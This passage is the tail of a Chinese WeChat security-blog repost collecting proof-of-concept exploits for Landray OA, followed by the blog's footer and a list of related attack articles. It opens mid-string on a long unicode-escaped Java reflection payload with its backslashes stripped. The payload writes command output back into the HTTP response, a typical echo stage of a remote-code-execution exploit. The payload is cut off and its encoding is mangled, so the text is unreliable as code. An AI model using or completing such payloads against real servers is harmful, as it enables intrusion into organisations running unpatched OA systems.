006eu006bu0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u003bu0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0042u0079u0074u0065u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u006fu0062u006au002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0030u0029u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0072u0065u0073u0075u006cu0074u002eu006cu0065u006eu0067u0074u0068u0029u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u004du0065u0074u0068u006fu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0076u0061u0072u0035u0029u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006au0061u0076u0061u002eu006eu0069u006fu002eu0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0077u0072u0061u0070u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0063u006cu0073u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0066u006cu0061u0067u0020u003du0020u0074u0072u0075u0065u003bu0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0020u0063u0061u0074u0063u0068u0020u0028u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0020u007d

后台回复：“快乐星球” 关注最新动态

微信群已经创建，感兴趣的师傅后台回复：进群

原文始发于微信公众号（左逆安全攻防）：蓝凌OA poc合集

左青龙
微信扫一扫

右白虎
微信扫一扫

蓝凌OA poc合集

蓝凌OA admin.do JNDI远程命令执行

蓝凌OA kmImeetingRes.do 后台SQL注入漏洞

蓝凌OA custom.jsp 任意文件读取漏洞

蓝凌OA treexml.tmpl 远程命令执行漏洞

归纳总结之红队-C2 Server基础构建

玄机靶场挑战【第六章流量特征分析-小王公司收到的钓鱼邮件】，说实话，我是冲着这个样本儿来的

电子电器架构 - 什么是域控制器？

第97篇：对绕过2层waf的sql注入攻击语句的深入分析

漏洞挖掘思路分享 | 首次尝试cnvd捡洞

GitHub Copilot 聊天：从即时注入到数据泄露

护网即将来临！几个攻防演练模板文件分享

HTB-Axlle笔记

实战案例(2)：OWASP Top 10 2021 失效的访问控制 1-10

实战攻防-K8S接管逃逸容器到宿主机

发表评论

在线咨询

微信